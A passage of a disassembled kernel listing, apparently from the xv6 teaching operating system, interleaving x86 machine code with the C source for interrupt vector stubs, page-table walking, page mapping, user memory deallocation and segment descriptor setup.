80105821 <alltraps> 80106532 <vector213>: .globl vector213 vector213: pushl $0 80106532: 6a 00 push $0x0 pushl $213 80106534: 68 d5 00 00 00 push $0xd5 jmp alltraps 80106539: e9 e3 f2 ff ff jmp 80105821 <alltraps> 8010653e <vector214>: .globl vector214 vector214: pushl $0 8010653e: 6a 00 push $0x0 pushl $214 80106540: 68 d6 00 00 00 push $0xd6 jmp alltraps 80106545: e9 d7 f2 ff ff jmp 80105821 <alltraps> 8010654a <vector215>: .globl vector215 vector215: pushl $0 8010654a: 6a 00 push $0x0 pushl $215 8010654c: 68 d7 00 00 00 push $0xd7 jmp alltraps 80106551: e9 cb f2 ff ff jmp 80105821 <alltraps> 80106556 <vector216>: .globl vector216 vector216: pushl $0 80106556: 6a 00 push $0x0 pushl $216 80106558: 68 d8 00 00 00 push $0xd8 jmp alltraps 8010655d: e9 bf f2 ff ff jmp 80105821 <alltraps> 80106562 <vector217>: .globl vector217 vector217: pushl $0 80106562: 6a 00 push $0x0 pushl $217 80106564: 68 d9 00 00 00 push $0xd9 jmp alltraps 80106569: e9 b3 f2 ff ff jmp 80105821 <alltraps> 8010656e <vector218>: .globl vector218 vector218: pushl $0 8010656e: 6a 00 push $0x0 pushl $218 80106570: 68 da 00 00 00 push $0xda jmp alltraps 80106575: e9 a7 f2 ff ff jmp 80105821 <alltraps> 8010657a <vector219>: .globl vector219 vector219: pushl $0 8010657a: 6a 00 push $0x0 pushl $219 8010657c: 68 db 00 00 00 push $0xdb jmp alltraps 80106581: e9 9b f2 ff ff jmp 80105821 <alltraps> 80106586 <vector220>: .globl vector220 vector220: pushl $0 80106586: 6a 00 push $0x0 pushl $220 80106588: 68 dc 00 00 00 push $0xdc jmp alltraps 8010658d: e9 8f f2 ff ff jmp 80105821 <alltraps> 80106592 <vector221>: .globl vector221 vector221: pushl $0 80106592: 6a 00 push $0x0 pushl $221 80106594: 68 dd 00 00 00 push $0xdd jmp alltraps 80106599: e9 83 f2 ff ff jmp 80105821 <alltraps> 8010659e <vector222>: .globl vector222 vector222: pushl $0 8010659e: 6a 00 push $0x0 pushl $222 801065a0: 68 de 00 00 00 push $0xde jmp alltraps 801065a5: e9 77 f2 ff ff jmp 80105821 <alltraps> 801065aa <vector223>: .globl vector223 vector223: pushl $0 801065aa: 6a 00 push $0x0 pushl $223 801065ac: 68 df 00 00 00 push $0xdf jmp alltraps 801065b1: e9 6b f2 ff ff jmp 80105821 <alltraps> 801065b6 <vector224>: .globl vector224 vector224: pushl $0 801065b6: 6a 00 push $0x0 pushl $224 801065b8: 68 e0 00 00 00 push $0xe0 jmp alltraps 801065bd: e9 5f f2 ff ff jmp 80105821 <alltraps> 801065c2 <vector225>: .globl vector225 vector225: pushl $0 801065c2: 6a 00 push $0x0 pushl $225 801065c4: 68 e1 00 00 00 push $0xe1 jmp alltraps 801065c9: e9 53 f2 ff ff jmp 80105821 <alltraps> 801065ce <vector226>: .globl vector226 vector226: pushl $0 801065ce: 6a 00 push $0x0 pushl $226 801065d0: 68 e2 00 00 00 push $0xe2 jmp alltraps 801065d5: e9 47 f2 ff ff jmp 80105821 <alltraps> 801065da <vector227>: .globl vector227 vector227: pushl $0 801065da: 6a 00 push $0x0 pushl $227 801065dc: 68 e3 00 00 00 push $0xe3 jmp alltraps 801065e1: e9 3b f2 ff ff jmp 80105821 <alltraps> 801065e6 <vector228>: .globl vector228 vector228: pushl $0 801065e6: 6a 00 push $0x0 pushl $228 801065e8: 68 e4 00 00 00 push $0xe4 jmp alltraps 801065ed: e9 2f f2 ff ff jmp 80105821 <alltraps> 801065f2 <vector229>: .globl vector229 vector229: pushl $0 801065f2: 6a 00 push $0x0 pushl $229 801065f4: 68 e5 00 00 00 push $0xe5 jmp alltraps 801065f9: e9 23 f2 ff ff jmp 80105821 <alltraps> 801065fe <vector230>: .globl vector230 vector230: pushl $0 801065fe: 6a 00 push $0x0 pushl $230 80106600: 68 e6 00 00 00 push $0xe6 jmp alltraps 80106605: e9 17 f2 ff ff jmp 80105821 <alltraps> 8010660a <vector231>: .globl vector231 vector231: pushl $0 8010660a: 6a 00 push $0x0 pushl $231 8010660c: 68 e7 00 00 00 push $0xe7 jmp alltraps 80106611: e9 0b f2 ff ff jmp 80105821 <alltraps> 80106616 <vector232>: .globl vector232 vector232: pushl $0 80106616: 6a 00 push $0x0 pushl $232 80106618: 68 e8 00 00 00 push $0xe8 jmp alltraps 8010661d: e9 ff f1 ff ff jmp 80105821 <alltraps> 80106622 <vector233>: .globl vector233 vector233: pushl $0 80106622: 6a 00 push $0x0 pushl $233 80106624: 68 e9 00 00 00 push $0xe9 jmp alltraps 80106629: e9 f3 f1 ff ff jmp 80105821 <alltraps> 8010662e <vector234>: .globl vector234 vector234: pushl $0 8010662e: 6a 00 push $0x0 pushl $234 80106630: 68 ea 00 00 00 push $0xea jmp alltraps 80106635: e9 e7 f1 ff ff jmp 80105821 <alltraps> 8010663a <vector235>: .globl vector235 vector235: pushl $0 8010663a: 6a 00 push $0x0 pushl $235 8010663c: 68 eb 00 00 00 push $0xeb jmp alltraps 80106641: e9 db f1 ff ff jmp 80105821 <alltraps> 80106646 <vector236>: .globl vector236 vector236: pushl $0 80106646: 6a 00 push $0x0 pushl $236 80106648: 68 ec 00 00 00 push $0xec jmp alltraps 8010664d: e9 cf f1 ff ff jmp 80105821 <alltraps> 80106652 <vector237>: .globl vector237 vector237: pushl $0 80106652: 6a 00 push $0x0 pushl $237 80106654: 68 ed 00 00 00 push $0xed jmp alltraps 80106659: e9 c3 f1 ff ff jmp 80105821 <alltraps> 8010665e <vector238>: .globl vector238 vector238: pushl $0 8010665e: 6a 00 push $0x0 pushl $238 80106660: 68 ee 00 00 00 push $0xee jmp alltraps 80106665: e9 b7 f1 ff ff jmp 80105821 <alltraps> 8010666a <vector239>: .globl vector239 vector239: pushl $0 8010666a: 6a 00 push $0x0 pushl $239 8010666c: 68 ef 00 00 00 push $0xef jmp alltraps 80106671: e9 ab f1 ff ff jmp 80105821 <alltraps> 80106676 <vector240>: .globl vector240 vector240: pushl $0 80106676: 6a 00 push $0x0 pushl $240 80106678: 68 f0 00 00 00 push $0xf0 jmp alltraps 8010667d: e9 9f f1 ff ff jmp 80105821 <alltraps> 80106682 <vector241>: .globl vector241 vector241: pushl $0 80106682: 6a 00 push $0x0 pushl $241 80106684: 68 f1 00 00 00 push $0xf1 jmp alltraps 80106689: e9 93 f1 ff ff jmp 80105821 <alltraps> 8010668e <vector242>: .globl vector242 vector242: pushl $0 8010668e: 6a 00 push $0x0 pushl $242 80106690: 68 f2 00 00 00 push $0xf2 jmp alltraps 80106695: e9 87 f1 ff ff jmp 80105821 <alltraps> 8010669a <vector243>: .globl vector243 vector243: pushl $0 8010669a: 6a 00 push $0x0 pushl $243 8010669c: 68 f3 00 00 00 push $0xf3 jmp alltraps 801066a1: e9 7b f1 ff ff jmp 80105821 <alltraps> 801066a6 <vector244>: .globl vector244 vector244: pushl $0 801066a6: 6a 00 push $0x0 pushl $244 801066a8: 68 f4 00 00 00 push $0xf4 jmp alltraps 801066ad: e9 6f f1 ff ff jmp 80105821 <alltraps> 801066b2 <vector245>: .globl vector245 vector245: pushl $0 801066b2: 6a 00 push $0x0 pushl $245 801066b4: 68 f5 00 00 00 push $0xf5 jmp alltraps 801066b9: e9 63 f1 ff ff jmp 80105821 <alltraps> 801066be <vector246>: .globl vector246 vector246: pushl $0 801066be: 6a 00 push $0x0 pushl $246 801066c0: 68 f6 00 00 00 push $0xf6 jmp alltraps 801066c5: e9 57 f1 ff ff jmp 80105821 <alltraps> 801066ca <vector247>: .globl vector247 vector247: pushl $0 801066ca: 6a 00 push $0x0 pushl $247 801066cc: 68 f7 00 00 00 push $0xf7 jmp alltraps 801066d1: e9 4b f1 ff ff jmp 80105821 <alltraps> 801066d6 <vector248>: .globl vector248 vector248: pushl $0 801066d6: 6a 00 push $0x0 pushl $248 801066d8: 68 f8 00 00 00 push $0xf8 jmp alltraps 801066dd: e9 3f f1 ff ff jmp 80105821 <alltraps> 801066e2 <vector249>: .globl vector249 vector249: pushl $0 801066e2: 6a 00 push $0x0 pushl $249 801066e4: 68 f9 00 00 00 push $0xf9 jmp alltraps 801066e9: e9 33 f1 ff ff jmp 80105821 <alltraps> 801066ee <vector250>: .globl vector250 vector250: pushl $0 801066ee: 6a 00 push $0x0 pushl $250 801066f0: 68 fa 00 00 00 push $0xfa jmp alltraps 801066f5: e9 27 f1 ff ff jmp 80105821 <alltraps> 801066fa <vector251>: .globl vector251 vector251: pushl $0 801066fa: 6a 00 push $0x0 pushl $251 801066fc: 68 fb 00 00 00 push $0xfb jmp alltraps 80106701: e9 1b f1 ff ff jmp 80105821 <alltraps> 80106706 <vector252>: .globl vector252 vector252: pushl $0 80106706: 6a 00 push $0x0 pushl $252 80106708: 68 fc 00 00 00 push $0xfc jmp alltraps 8010670d: e9 0f f1 ff ff jmp 80105821 <alltraps> 80106712 <vector253>: .globl vector253 vector253: pushl $0 80106712: 6a 00 push $0x0 pushl $253 80106714: 68 fd 00 00 00 push $0xfd jmp alltraps 80106719: e9 03 f1 ff ff jmp 80105821 <alltraps> 8010671e <vector254>: .globl vector254 vector254: pushl $0 8010671e: 6a 00 push $0x0 pushl $254 80106720: 68 fe 00 00 00 push $0xfe jmp alltraps 80106725: e9 f7 f0 ff ff jmp 80105821 <alltraps> 8010672a <vector255>: .globl vector255 vector255: pushl $0 8010672a: 6a 00 push $0x0 pushl $255 8010672c: 68 ff 00 00 00 push $0xff jmp alltraps 80106731: e9 eb f0 ff ff jmp 80105821 <alltraps> 80106736: 66 90 xchg %ax,%ax 80106738: 66 90 xchg %ax,%ax 8010673a: 66 90 xchg %ax,%ax 8010673c: 66 90 xchg %ax,%ax 8010673e: 66 90 xchg %ax,%ax 80106740 <walkpgdir>: // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 80106740: 55 push %ebp 80106741: 89 e5 mov %esp,%ebp 80106743: 57 push %edi 80106744: 56 push %esi 80106745: 89 d6 mov %edx,%esi pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 80106747: c1 ea 16 shr $0x16,%edx // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 8010674a: 53 push %ebx pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; 8010674b: 8d 3c 90 lea (%eax,%edx,4),%edi // Return the address of the PTE in page table pgdir // that corresponds to virtual address va. If alloc!=0, // create any required page table pages. static pte_t * walkpgdir(pde_t *pgdir, const void *va, int alloc) { 8010674e: 83 ec 1c sub $0x1c,%esp pde_t *pde; pte_t *pgtab; pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ 80106751: 8b 1f mov (%edi),%ebx 80106753: f6 c3 01 test $0x1,%bl 80106756: 74 28 je 80106780 <walkpgdir+0x40> pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); 80106758: 81 e3 00 f0 ff ff and $0xfffff000,%ebx 8010675e: 81 c3 00 00 00 80 add $0x80000000,%ebx // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 80106764: c1 ee 0a shr $0xa,%esi } 80106767: 83 c4 1c add $0x1c,%esp // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; 8010676a: 89 f2 mov %esi,%edx 8010676c: 81 e2 fc 0f 00 00 and $0xffc,%edx 80106772: 8d 04 13 lea (%ebx,%edx,1),%eax } 80106775: 5b pop %ebx 80106776: 5e pop %esi 80106777: 5f pop %edi 80106778: 5d pop %ebp 80106779: c3 ret 8010677a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) 80106780: 85 c9 test %ecx,%ecx 80106782: 74 34 je 801067b8 <walkpgdir+0x78> 80106784: e8 27 bd ff ff call 801024b0 <kalloc> 80106789: 85 c0 test %eax,%eax 8010678b: 89 c3 mov %eax,%ebx 8010678d: 74 29 je 801067b8 <walkpgdir+0x78> return 0; // Make sure all those PTE_P bits are zero. memset(pgtab, 0, PGSIZE); 8010678f: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106796: 00 80106797: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 8010679e: 00 8010679f: 89 04 24 mov %eax,(%esp) 801067a2: e8 49 db ff ff call 801042f0 <memset> // The permissions here are overly generous, but they can // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; 801067a7: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801067ad: 83 c8 07 or $0x7,%eax 801067b0: 89 07 mov %eax,(%edi) 801067b2: eb b0 jmp 80106764 <walkpgdir+0x24> 801067b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi } return &pgtab[PTX(va)]; } 801067b8: 83 c4 1c add $0x1c,%esp pde = &pgdir[PDX(va)]; if(*pde & PTE_P){ pgtab = (pte_t*)P2V(PTE_ADDR(*pde)); } else { if(!alloc || (pgtab = (pte_t*)kalloc()) == 0) return 0; 801067bb: 31 c0 xor %eax,%eax // be further restricted by the permissions in the page table // entries, if necessary. *pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U; } return &pgtab[PTX(va)]; } 801067bd: 5b pop %ebx 801067be: 5e pop %esi 801067bf: 5f pop %edi 801067c0: 5d pop %ebp 801067c1: c3 ret 801067c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801067c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801067d0 <mappages>: // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 801067d0: 55 push %ebp 801067d1: 89 e5 mov %esp,%ebp 801067d3: 57 push %edi 801067d4: 56 push %esi 801067d5: 53 push %ebx char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 801067d6: 89 d3 mov %edx,%ebx // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 801067d8: 83 ec 1c sub $0x1c,%esp 801067db: 8b 7d 08 mov 0x8(%ebp),%edi char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); 801067de: 81 e3 00 f0 ff ff and $0xfffff000,%ebx // Create PTEs for virtual addresses starting at va that refer to // physical addresses starting at pa. va and size might not // be page-aligned. static int mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm) { 801067e4: 89 45 e0 mov %eax,-0x20(%ebp) char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 801067e7: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax 801067eb: 89 45 e4 mov %eax,-0x1c(%ebp) for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 801067ee: 83 4d 0c 01 orl $0x1,0xc(%ebp) { char *a, *last; pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); 801067f2: 81 65 e4 00 f0 ff ff andl $0xfffff000,-0x1c(%ebp) 801067f9: 29 df sub %ebx,%edi 801067fb: eb 18 jmp 80106815 <mappages+0x45> 801067fd: 8d 76 00 lea 0x0(%esi),%esi for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) 80106800: f6 00 01 testb $0x1,(%eax) 80106803: 75 3d jne 80106842 <mappages+0x72> panic("remap"); *pte = pa | perm | PTE_P; 80106805: 0b 75 0c or 0xc(%ebp),%esi if(a == last) 80106808: 3b 5d e4 cmp -0x1c(%ebp),%ebx for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); *pte = pa | perm | PTE_P; 8010680b: 89 30 mov %esi,(%eax) if(a == last) 8010680d: 74 29 je 80106838 <mappages+0x68> break; a += PGSIZE; 8010680f: 81 c3 00 10 00 00 add $0x1000,%ebx pte_t *pte; a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) 80106815: 8b 45 e0 mov -0x20(%ebp),%eax 80106818: b9 01 00 00 00 mov $0x1,%ecx 8010681d: 89 da mov %ebx,%edx 8010681f: 8d 34 3b lea (%ebx,%edi,1),%esi 80106822: e8 19 ff ff ff call 80106740 <walkpgdir> 80106827: 85 c0 test %eax,%eax 80106829: 75 d5 jne 80106800 <mappages+0x30> break; a += PGSIZE; pa += PGSIZE; } return 0; } 8010682b: 83 c4 1c add $0x1c,%esp a = (char*)PGROUNDDOWN((uint)va); last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; 8010682e: b8 ff ff ff ff mov $0xffffffff,%eax break; a += PGSIZE; pa += PGSIZE; } return 0; } 80106833: 5b pop %ebx 80106834: 5e pop %esi 80106835: 5f pop %edi 80106836: 5d pop %ebp 80106837: c3 ret 80106838: 83 c4 1c add $0x1c,%esp if(a == last) break; a += PGSIZE; pa += PGSIZE; } return 0; 8010683b: 31 c0 xor %eax,%eax } 8010683d: 5b pop %ebx 8010683e: 5e pop %esi 8010683f: 5f pop %edi 80106840: 5d pop %ebp 80106841: c3 ret last = (char*)PGROUNDDOWN(((uint)va) + size - 1); for(;;){ if((pte = walkpgdir(pgdir, a, 1)) == 0) return -1; if(*pte & PTE_P) panic("remap"); 80106842: c7 04 24 ac 7a 10 80 movl $0x80107aac,(%esp) 80106849: e8 12 9b ff ff call 80100360 <panic> 8010684e: 66 90 xchg %ax,%ax 80106850 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106850: 55 push %ebp 80106851: 89 e5 mov %esp,%ebp 80106853: 57 push %edi 80106854: 89 c7 mov %eax,%edi 80106856: 56 push %esi 80106857: 89 d6 mov %edx,%esi 80106859: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 8010685a: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 80106860: 83 ec 1c sub $0x1c,%esp uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 80106863: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106869: 39 d3 cmp %edx,%ebx // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 8010686b: 89 4d e0 mov %ecx,-0x20(%ebp) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 8010686e: 72 3b jb 801068ab <deallocuvm.part.0+0x5b> 80106870: eb 5e jmp 801068d0 <deallocuvm.part.0+0x80> 80106872: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106878: 8b 10 mov (%eax),%edx 8010687a: f6 c2 01 test $0x1,%dl 8010687d: 74 22 je 801068a1 <deallocuvm.part.0+0x51> pa = PTE_ADDR(*pte); if(pa == 0) 8010687f: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106885: 74 54 je 801068db <deallocuvm.part.0+0x8b> panic("kfree"); char *v = P2V(pa); 80106887: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010688d: 89 14 24 mov %edx,(%esp) 80106890: 89 45 e4 mov %eax,-0x1c(%ebp) 80106893: e8 68 ba ff ff call 80102300 <kfree> *pte = 0; 80106898: 8b 45 e4 mov -0x1c(%ebp),%eax 8010689b: c7 00 00 00 00 00 movl $0x0,(%eax) if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 801068a1: 81 c3 00 10 00 00 add $0x1000,%ebx 801068a7: 39 f3 cmp %esi,%ebx 801068a9: 73 25 jae 801068d0 <deallocuvm.part.0+0x80> pte = walkpgdir(pgdir, (char*)a, 0); 801068ab: 31 c9 xor %ecx,%ecx 801068ad: 89 da mov %ebx,%edx 801068af: 89 f8 mov %edi,%eax 801068b1: e8 8a fe ff ff call 80106740 <walkpgdir> if(!pte) 801068b6: 85 c0 test %eax,%eax 801068b8: 75 be jne 80106878 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 801068ba: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 801068c0: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); for(; a < oldsz; a += PGSIZE){ 801068c6: 81 c3 00 10 00 00 add $0x1000,%ebx 801068cc: 39 f3 cmp %esi,%ebx 801068ce: 72 db jb 801068ab <deallocuvm.part.0+0x5b> kfree(v); *pte = 0; } } return newsz; } 801068d0: 8b 45 e0 mov -0x20(%ebp),%eax 801068d3: 83 c4 1c add $0x1c,%esp 801068d6: 5b pop %ebx 801068d7: 5e pop %esi 801068d8: 5f pop %edi 801068d9: 5d pop %ebp 801068da: c3 ret if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ pa = PTE_ADDR(*pte); if(pa == 0) panic("kfree"); 801068db: c7 04 24 c6 72 10 80 movl $0x801072c6,(%esp) 801068e2: e8 79 9a ff ff call 80100360 <panic> 801068e7: 89 f6 mov %esi,%esi 801068e9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801068f0 <seginit>: // Set up CPU's kernel segment descriptors. // Run once on entry on each CPU. void seginit(void) { 801068f0: 55 push %ebp 801068f1: 89 e5 mov %esp,%ebp 801068f3: 83 ec 18 sub $0x18,%esp // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; 801068f6: e8 95 cd ff ff call 80103690 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801068fb: 31 c9 xor %ecx,%ecx 801068fd: ba ff ff ff ff mov $0xffffffff,%edx // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; 80106902: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 80106908: 05 80 27 11 80 add $0x80112780,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010690d: 66 89 50 78 mov %dx,0x78(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106911: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); lgdt(c->gdt, sizeof(c->gdt)); 80106916: 83 c0 70 add $0x70,%eax // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106919: 66 89 48 0a mov %cx,0xa(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010691d: 31 c9 xor %ecx,%ecx 8010691f: 66 89 50 10 mov %dx,0x10(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106923: ba ff ff ff ff mov $0xffffffff,%edx // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106928: 66 89 48 12 mov %cx,0x12(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 8010692c: 31 c9 xor %ecx,%ecx 8010692e: 66 89 50 18 mov %dx,0x18(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106932: ba ff ff ff ff mov $0xffffffff,%edx // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106937: 66 89 48 1a mov %cx,0x1a(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010693b: 31 c9 xor %ecx,%ecx // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010693d: c6 40 0d 9a movb $0x9a,0xd(%eax) 80106941: c6 40 0e cf movb $0xcf,0xe(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 80106945: c6 40 15 92 movb $0x92,0x15(%eax) 80106949: c6 40 16 cf movb $0xcf,0x16(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 8010694d: c6 40 1d fa movb $0xfa,0x1d(%eax) 80106951: c6 40 1e cf movb $0xcf,0x1e(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 80106955: c6 40 25 f2 movb $0xf2,0x25(%eax) 80106959: c6 40 26 cf movb $0xcf,0x26(%eax) 8010695d: 66 89 50 20 mov %dx,0x20(%eax) static inline void lgdt(struct segdesc *p, int size) { volatile ushort pd[3]; pd[0] = size-1; 80106961: ba 2f 00 00 00 mov $0x2f,%edx // Map "logical" addresses to virtual addresses using identity map. // Cannot share a CODE descriptor for both kernel and user // because it would have to have DPL_USR, but the CPU forbids // an interrupt from CPL=0 to DPL=3. c = &cpus[cpuid()]; c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 80106966: c6 40 0c 00 movb $0x0,0xc(%eax) 8010696a: c6 40 0f 00 movb $0x0,0xf(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 8010696e: c6 40 14 00 movb $0x0,0x14(%eax) 80106972: c6 40 17 00 movb $0x0,0x17(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106976: c6 40 1c 00 movb $0x0,0x1c(%eax) 8010697a: c6 40 1f 00 movb $0x0,0x1f(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010697e: 66 89 48 22 mov %cx,0x22(%eax) 80106982: c6 40 24 00 movb $0x0,0x24(%eax) 80106986: c6 40 27 00 movb $0x0,0x27(%eax) 8010698a: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 8010698e: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106992: c1 e8 10 shr $0x10,%eax 80106995: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106999: 8d 45 f2 lea -0xe(%ebp),%eax 8010699c: 0f 01 10 lgdtl (%eax) lgdt(c->gdt, sizeof(c->gdt)); } 8010699f: c9 leave 801069a0: c3 ret 801069a1: eb 0d jmp 801069b0 <switchkvm> 801069a3: 90 nop 801069a4: 90 nop 801069a5: 90 nop 801069a6: 90 nop 801069a7: 90 nop 801069a8: 90 nop 801069a9: 90 nop 801069aa: 90 nop 801069ab: 90 nop 801069ac: 90 nop 801069ad: 90 nop 801069ae: 90 nop 801069af: 90 nop 801069b0 <switchkvm>: // Switch h/w page table register to the kernel-only page table, // for when no process is running. void switchkvm(void) { lcr3(V2P(kpgdir)); // switch to the kernel page table 801069b0: a1 a4 5b 11 80 mov 0x80115ba4,%eax // Switch h/w page table register to the kernel-only page table, // for when no process is 